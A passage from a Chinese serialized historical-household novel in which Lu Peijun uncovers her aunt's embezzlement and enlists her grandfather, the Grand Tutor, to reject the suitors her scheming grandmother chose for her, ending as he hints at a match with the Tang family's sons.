反正她提出的这几个人选,明面上个个家世清白、前程可观,任谁也挑不出半分错处,更无人能指责她这个做祖母的有丝毫的不尽心。
*
回了院子,袁氏忧心冲冲地看着女儿。
“珮君,先前你祖母提的那几个人,你可有看中的?”
“母亲,您莫要着急。当务之急是您得把父亲找来,让他不要轻易答应祖母给我承诺的婚事。”陆珮君如今只担心父亲。
母亲在她身边,她会盯着,不至于出岔子。
可父亲毕竟是男子,不可能日日呆在内宅当中。
万一祖母和二婶从母亲这里说不通,让父亲应承下婚事,那可就麻烦了。
“可是你父亲那个人……”袁氏没说完。
夫君耳根子软也不是一天两天的了。
她如今得了女儿耳提面命,若是遇上婆婆和二弟妹的刁难,她虽然还是不敢拒绝,但也学会了闭口不言。
她好歹也是大房的当家主母,她不说话,她们除了说几句难听的话,倒也不能对她做什么。
但夫君在外,万一被人说动,一冲动答应了怎么办?
“你告诉他,他若敢乱答应我的婚事,那我就一刀在他面前捅死我自己,让他背上一个逼死亲女儿的骂名。”
陆珮君这话把袁氏吓得不轻。
袁氏赶忙道:“你这孩子,胡说什么呢。你放心,我肯定会告诉你父亲,不会让他轻易将你婚事许出去。”
陆珮君知道爹娘都最怕背负骂名,所以这个威胁对他们来说有用。
捅死父亲这种话他听了只会觉得她在开玩笑,反倒是她要去寻死,更能吓唬住他。
若真到被逼嫁人那一步,她也不会坐以待毙。
她手里关于二婶贪墨家中中馈的证据已经整理得差不多了,她迟迟没有拿出来,就是等一个好时机。
如今看来,差不多了。
第435章 竟然是火坑
陆珮君看向母亲:“我的婚事,您就别操心了。祖母说的那三个人。程昀不用考虑,裘冲也是。樊家那边,给阿姐去信,让姐夫帮我打听打听这樊长锦究竟如何。”
程昀那个纨绔,嫁给他肯定要被婆母寄以厚望,让她管教他。
她可不想没生孩子就当娘。
至于裘冲,年纪对她来说不算是问题,只是她并不想离开京城。
离开京城就见不到长姐了。
至于樊家,可以先考虑考虑。
若只是有些小缺陷,问题不大,倒也可以保留。
若是问题很大,正好拒了。
“行。”袁氏没有主见,女儿说什么就是什么。
“你大姐夫在朝为官,知道的肯定多。”
于是当日,陆璧君就收到了妹妹让人送来的信。
打开一看,知道陆老夫人要用婚事拿捏妹妹,气得她好看的眉毛都拧了起来。
“欺人太甚!”她愤怒地将这封信拍在了桌上。
当年妄想用婚事拿捏她,如今又故技重施,用到了妹妹身上。
她如今已为人妇,出门走动交际比妹妹多得多,祖母提的这几个人,她都是知道的。
毕竟妹妹快要及笄,准备要嫁人,爹娘靠不住,她这个长姐少不得要替她操心。
故而京中那些未婚的儿郎,她私底下都让夫君暗暗帮忙打听过。
那个程昀是出了名的纨绔。
裘冲年纪太大她没考虑过,但听妹妹这么说,此人被派去西北虽然说是天子有心历练,可想要回京,必须做出政绩来。
他万一一辈子都做不出来呢,妹妹岂不是要在那苦寒之地呆上一辈子?
至于樊家……
听着倒是不错,可樊家还不知如何清苦呢。
樊家上上下下,主子奴才加起来怕不得有二三十口人。
都指着樊祭酒那点微薄的俸银过活一大家子,日子必定过得紧巴巴的。
妹妹若是嫁过去,表面上是风光的长孙媳,可那日子估计享不到福,还得把自己的嫁妆都填进去,倒贴那一大家子的无底洞。
陆璧君越想越气,当年的事,如同潮水般涌上心头。
她是太傅府的嫡长孙女,原以为婚事再差也不过是门当户对的人家。
可祖母偏偏说服了父亲,说什么“陆家已是极贵,无需再锦上添花”,不如择一寒门才子下嫁,既能博个“重才轻利”的美名,又能让她将来靠着太傅府拿捏夫家。
祖母最初属意的,是她娘家一个远房侄孙,只是个会试中第的举子,空有“必中二甲”的虚名。
嫁给那样的人,她怎么肯甘心。
于是,她私下让心腹丫鬟悄悄出去,搜罗那些赴京赶考、颇有才名的学子文章。
从上百份墨卷里,她熬了好几夜,才挑选出十几份文采、见识都入眼的。
后来又让丫鬟装作书肆伙计,不动声色地打听这些人可曾婚配、品性如何。
最后,她锁定了傅寒松。
他的策论写得极好,观点犀利,逻辑缜密,字里行间有一股难得的清醒与抱负。
她心一横,寻了个机会,戴着帷帽偷偷去学子们常去的茶楼看了一眼。
只见他身上衣裳虽然朴素发白,却难掩眉目疏朗,与人论政时从容不迫,言谈间自有风骨。
就是那一刻,她下了决心。
就是他了!
傅家虽贫寒,门户单薄,但傅寒松此人,才华与心性皆属上乘,绝非池中之物。
她赌他的前程绝不会差。
后来祖父问起她婚事时,她便“偶然”提起了这位才学出众的傅寒松,言语间尽是欣赏。
所幸,祖父也早留意到他,对他的才学也颇为认可。
这桩婚事,才顺理成章地定了下来。
想到此处,陆璧君翻涌的怒气才稍稍平复,眼底闪过一丝复杂的庆幸。
幸好她赌赢了。
夫君高中状元,如今已是翰林院侍读,天子近臣,清贵无比。每日起草诏书、侍奉经筵,圣眷正浓,前途一片光明。
祖母给妹妹的这几个选项里,倒是比她当初要好上不少。
但仔细一看,全是火坑。
她提笔仔细将樊家的情况写了下来,细细嘱咐妹妹不要着急,她会请夫君留意有没有比较好的青年才俊,也会请交好的夫人帮忙打听一二。
一定会抢在祖母之前帮她定下合适的婚事。
陆珮君收到姐姐的回信,将信交给了母亲。
袁氏一看,大惊失色:“樊家竟然是个火坑。”
“可不么。”陆珮君冷笑一声,“您以为祖母和二婶真的是为我好么。”
樊祭酒上了年纪,将“清流名声”看得高于一切,厌恶谈钱,认为经商乃是污浊之事。
故而樊家大多开销,都全靠他的俸禄维持。
而樊祭酒的长子只是一名县丞,在外地为官,薪俸极低,自顾不暇,根本无法补贴家用。
他的妻子卓氏并未跟着外放,而是在京中伺候公婆照看两个儿子和一个女儿,前几年就开始断断续续的生病。
樊祭酒的次子屡试不第,心高气傲。终日只知与三五好友清谈、吟诗作对。
压根没往家里拿过进项。
如今他们全家的希望都在樊长锦身上了。
嫁到这样的人家,她就是长孙媳,到时候恐怕要被搬出“长嫂如母”这样的话来让她操持饭樊锦一双弟妹的婚事。
她迟早会被吃干抹净。
袁氏一阵后怕。
“那,那咱们现在该怎么办呀?”她担忧地看向女儿,习惯性地求她拿主意。
如今女儿就是她的主心骨,这个家里,她最信任的人就是女儿了。
“无妨,明日我亲自去找祖父。”陆珮君将蒋氏贪墨的证据,重新誊抄了三遍,将一份送去了傅家,让长姐替她拿着。
另一份让人送去给令嘉郡主。
郡主送花嬷嬷过来的用意她已经知晓了,想必这份证据,郡主应该用得着。
最后一份,自然是明日送去给祖父。
“你祖父会听你的么?”袁氏还是有些不安。
“放心吧,祖父只是不管内宅之事,但我若真被推进火坑,他也不会不管。就算他不管,我也会想法子让他管。”陆珮君微微一笑。
“你心中有数就好。”袁氏见女儿这副胸有成竹的模样,心下稍安。
将母亲送走,陆珮君脸上的笑意退去。
明日是否能成,她也不确定,但她不能在母亲面前表现出来。
如今她是大房的主心骨,她不能乱。
她要是乱了,父亲母亲就更不知道该怎么办了。
“来人,替我沐浴更衣。”
陆珮君将下人叫来,洗漱一番之后,躺回了床上。
她在脑海里模拟着明日要和祖父谈话的场面,渐渐睡着了。
翌日苏醒,她稍作整理,去了陆老太傅的书房。
第436章 去揭穿蒋氏
到了书房外,她轻轻叩门。
“祖父,是我,珮君。小厨房新做了些山药糕,想着祖父或许爱吃,给您送些来。”
门内传来陆老太傅沉稳的声音:“进来吧。”
陆珮君进去,只见祖父正在临帖。
她安静地将山药糕放在一旁的茶几上,并不出声打扰,只垂手立在一边。
陆老太傅写完最后一个字,搁下笔,看了她一眼:“有事?”
二丫头心思玲珑,来了迟迟不走,绝非只是来送点心这么简单。
陆珮君上前一步,福了一礼,声音不高却清晰:“祖父,孙女近日跟着二婶打理家中事务,无意间发现了些东西,心中惶恐,不知如何处置,特来请示祖父。”
说着,她从袖中取出那几页誊抄了关键证据的纸,双手奉上。
陆老太傅接过,起初脸上还很随意,但很快,他的目光变得凝重,脸色也沉了下去。
他一行一行看下去,脸色铁青。
纸上是几笔清晰无比的账目对比,某年某月,公中支取五百两采买绸缎,而市面上的实际价格仅需三百两;某次节庆,虚报宴席开销一百二十两……
零零碎碎算下来,蒋氏掌家的这十年里,竟然贪墨了三千五百多两银子。
这还是陆珮君查出来的,私底下还不知道贪了有多少呢。
陆老太傅深吸一口气,将那几张纸收了起来,审视的目光落在陆珮君身上:“这些东西,你为何不直接拿去给你祖母,反倒要送到我这书房来?”
陆珮君迎上祖父的目光,并未躲闪。
她再次福了一礼,声音清晰而沉稳,带着恰到好处的崇拜与敬仰:
“祖母年事已高,近些时日又为三妹妹的事情操劳,还在替孙女选夫婿。孙女实在不忍这等污糟事再去惊扰她老人家,令她烦忧伤神。”
陆老太傅听她这么说,脸色稍缓。
她略作停顿,语气转为无比诚恳,目光灼灼地看着祖父:
“再者,此事虽起于内宅,却关乎我陆氏一族的清誉门风。孙女愚见,阖府上下,唯有祖父您历经风雨、洞明世事,既能明察秋毫,又有雷霆手段。”
“孙女便想着,这事交给您来裁断,最为合适。”
她句句话都在称赞陆老太傅,却不见谄媚。
她已经摸准了祖父的性子。
从前陆玥君为何最受祖父喜爱,一来是因为有祖母替她说好话,二来她面对祖父时,确实比她和长姐嘴甜。
她们俩虽然嘴上没说过,但心底都是有些埋怨祖父不睁眼看看后宅,让她们受委屈的。
因此从前都不愿意和祖父接触。
但如今她想明白了,陆玥君已经失去了祖父的欢心,她再不取而代之就要错过这个好机会了。
她讨好祖父,是为了自己的前程去争,不丢脸。
祖父对她印象越好,之后她的出路才会更多。
听她说话条理清晰,不卑不亢,陆老太傅看她的表情多了几分欣赏。
这个孙女,倒是不错。
“嗯,你做得不错,此事交由我来办便是了。”陆老太傅顿了顿,又扫视了她一眼。
“你先前说你祖母在给你挑夫婿,可曾说看了哪几家儿郎?”
这个孙女已经快满十六岁了,是该嫁人了。
听到这话,陆珮君松了一口气。
她还担心祖父不问这事呢。
祖父若是不问,她可就得想办法继续提了。
“回祖父,是……”陆珮君把陆老夫人给她挑选的人都说了出来。
陆珮君将祖母挑选的三位儿郎一一禀明,言语清晰,不添油加醋,也不带半分个人情绪,只是客观陈述。
陆老太傅听完,沉吟片刻,脸上看不出喜怒。
“程家小儿。”他缓缓开口,语气里带着毫不掩饰的轻蔑,“顽劣不堪,朽木不可雕也。此子绝非良配,不必再提。”
这句话说得斩钉截铁,直接将兵部尚书家的嫡幼子踢出了局。
在他看来一个只会斗鸡走狗的纨绔,即便家世再显赫,也上不得台面,联姻反而有损陆家清名。
“至于裘冲……”
陆老太傅的指尖停顿了一下。
“此人,老夫倒有些印象。确有才干,陛下派他去西北,也确有用意。只是已经三十岁了,前程未卜。西北苦寒且局势复杂,能否建功、何时返京,皆是未知之数。”
“嫁女于他,无异于一场豪赌。我陆家的女儿,何必去受这份颠沛流离之苦,赌这虚无缥缈的前程。”
陆珮君听完,便知道裘冲,也被排除了。
那么就只剩樊长锦了。
祖母果然拿捏了祖父的心思,给她挑的人里,一定会有一个能说服祖父的,所以她才说不会阻止她找祖父商议她的婚事。
果不其然,提到樊长锦,陆老太傅的语气里终于多了一丝满意:“樊家清流门第,长锦那孩子学问扎实,明年春闱确有几分把握。倒是一个不错的选择。”
他看向了陆珮君,询问道:“二丫头,你意下如何?”
她当然不愿意。
但面对祖父,她不能直接这么说出来。
她乖巧道:“婚姻大事,父母之命媒妁之言,珮君都听父亲母亲还有祖父的安排。”
见祖父脸上露出满意的神色,她这才继续道:“只是我前几日听大姐说,樊大夫人这两年是病得越来越厉害了,恐怕……”
她没说完,陆老太傅眉头便皱了起来。
若樊长锦之母果真病故,他这嫡长子必须辞官守制二十七个月。
明年春闱即便高中,也是镜花水月,一切都要搁置。
三年后局势如何,谁又说得准?
更何况,守制期间不能婚嫁,陆珮君的年纪根本等不起。
陆老太傅瞬间捋清了利害关系,再无半分犹豫,果断道:“行了,这几个人都不合适,我会跟你祖母说重新替你好好寻摸寻摸的。”
这时,外边传来了下人的通禀声:“老太爷,棠大人和两位棠公子来了。”
陆老太傅一听棠家人来了,看了陆珮君一眼。
陆珮君立刻敛衽行礼:“既有贵客到访,孙女便先行告退了,不敢耽误祖父处理正事。”
“嗯。去吧。”陆老太傅点了点头。
有了他的示意,陆珮君低眉顺眼地退出了书房。
一出门,就撞见了棠家父子三人。
陆珮君冲他们行了一礼,下意识地瞥了棠云麒兄弟二人一眼,又迅速收了回来。
原来这双生子,长得也不是一模一样的嘛。
她看清楚后就快步离开了,只听到后边传来了棠云麟的声音。
“大哥,你愣着干嘛,快进去呀,别让太傅大人等急了。”
第437章 太傅牵红线
“哦,来了。”
棠云麒慌忙收回了自己的视线。
他刚刚在看“铲子姑娘”,他发现她气色好像比上回见到的时候更好了。
看来妹妹把花嬷嬷送来,还真是帮上忙了。
三人一进屋内,立刻规规矩矩地给陆老太傅行了礼。
陆老太傅看到棠云麒,眉头一皱:“你这回可是自个写的文章?”
“是的是的,回太傅大人,我可以举手对天发誓,这回真的是我的文章。”棠云麒赶忙回答。
“那就先看你的。”陆老太傅哼了一声。
棠云麒在心里哀嚎:怎么就先看他的了,他还想磨蹭到最后呢。
“是。”他一边将自己写的文章递给太傅,一边又暗自庆幸。
先看他的也好。
若是先看了父亲和二弟的,再看他的文章,太傅大人怕是要骂得更狠了。
陆老太傅接过了他的文章后,面无表情地看了起来。
棠云麒偷偷用余光瞄着陆老太傅的表情,试图从他那平静无波的脸上读出有用的讯息,可惜全是徒劳。
陆老太傅看得不快,手指偶尔在文章上点一下。
每点一下,棠云麒的心跳就漏一拍,心里反复盘算着莫不是哪里写错了?
终于,陆老太傅看完了最后一行字,将文章轻轻放在了桌上。
棠云麒屏住了呼吸,紧张又焦虑地等待着最终的审判。
陆老太傅抬起眼,扫了他一眼,语气平淡,但也没有棠云麒想象中的震怒:“辞藻粗疏,论据也流于表面,乏善可陈。”
棠云麒的肩膀瞬间垮了下去,脑袋垂得更低了。
陆老太傅将他的反应看在眼里,语气缓和了些许:“不过对你而言,能写到这个程度,也算难得了。”
“你志不在此,将来是要走武举、上阵杀敌的,笔墨文章不必过于精深。这篇东西,起承转合写得也算可以,马马虎虎,够用了。”
虽然评价依旧不高,但听到“够用了”三个字,棠云麒还是如蒙大赦。
他长长舒了一口气,脸上控制不住露出笑容,赶紧躬身道:“是是是!多谢太傅大人指点,学生一定继续努力,绝不辜负大人教诲!”
他心里一块大石头终于落地,忍不住庆幸了起来。
果然先看他的对了。
要是看完父亲和二弟那花团锦簇的文章,太傅大人再看他的,这句点评恐怕就要从“够用了”变成“不堪入目”了。
棠风陵也替儿子舒了一口气。
儿子这篇文章,他可是帮着指点修改过的,要是被太傅批评得一文不值,那他日后在儿子面前哪里了还有什么父亲的威严。
“云麟啊,来,让我看看你这回写了什么?”陆老太傅看向了棠云麟,语气比对棠云麒时和蔼了不知道多少倍。
棠云麒撇了撇嘴。
太傅大人咋还两幅面孔呢。
“请太傅大人指教。”棠云麟恭恭敬敬地把自己的文章递了上去。
陆老太傅接过文章一看,脸上就露出了笑意。
他细细读了下去,神色逐渐专注起来。
不同于棠云麒文章的粗疏,棠云麟的文章破题精准,立意新颖而不跳脱,引经据典恰到好处,并非一味堆砌辞藻。
论述层层递进,逻辑缜密,更难得的是字里行间流露出一种沉稳开阔的气度,远超其年纪应有的见识。
陆老太傅越看越是满意。
一旁的棠云麒看着太傅大人那几乎可以称得上是愉悦的神情,再对比刚才对自己那“够用了”的评价,心里酸得直冒泡,却又不得不服气。
人和人之间的差距,有时候真的比人和狗的差距……
算了,不想了。
良久,陆老太傅终于抬起头,眼中带着毫不掩饰的欣赏。
“好!好!云麟这篇文章做得极好!”他连声称赞,语气中充满了欣慰。
“破题深远,论述扎实,尤其是中间关于‘君子慎独’的阐发,结合当下时弊,颇有见地,非那些只会读书的迂腐之人所能及。这份见识和笔力,明年殿试,必有你一席之地!”
这评价可谓极高!
棠云麟心中一热,但面上依旧保持谦逊,躬身道:“太傅大人谬赞了,学生惶恐。还有许多不足之处,恳请大人指点。”
“嗯,不骄不躁,好。”陆老太傅抚须点头,愈发满意。
他最后才看向了棠风陵。
接过他的文章细细看了起来,又和他探讨了一下上次的文章,两人越聊越投机。
棠云麟也听得如痴如醉,唯有棠云麒如坐针毡,昏昏欲睡。
直到他听到太傅大人问起“你这两个孩子,可有婚配?”
棠云麒立刻坐直了身子,竖起耳朵听了起来。
好端端的,老太傅关心他和二弟的婚事做什么?
棠风陵笑道:“回太傅大人,两个孩子均未有婚配。我和夫人想着等明年科举结束,孩子考取了功名,或许更好说亲。”
听到没有定亲,太傅大人眼中精光一闪,脸上的笑意更深了几分。
他先是对棠风陵点了点头,语气颇为赞同:“嗯,先立业后成家,乃是正理。以他们的才学,金榜题名是迟早的事,届时自然是百家争求的好郎君。”
他话锋不着痕迹地一转,像是随口提起家常。
“说起来,老夫家中几个孙辈,倒是与你这两个孩子年岁相仿。我那二孙女珮君,年方十六,性子最是温婉娴静,知书达理。如今尚未婚配。”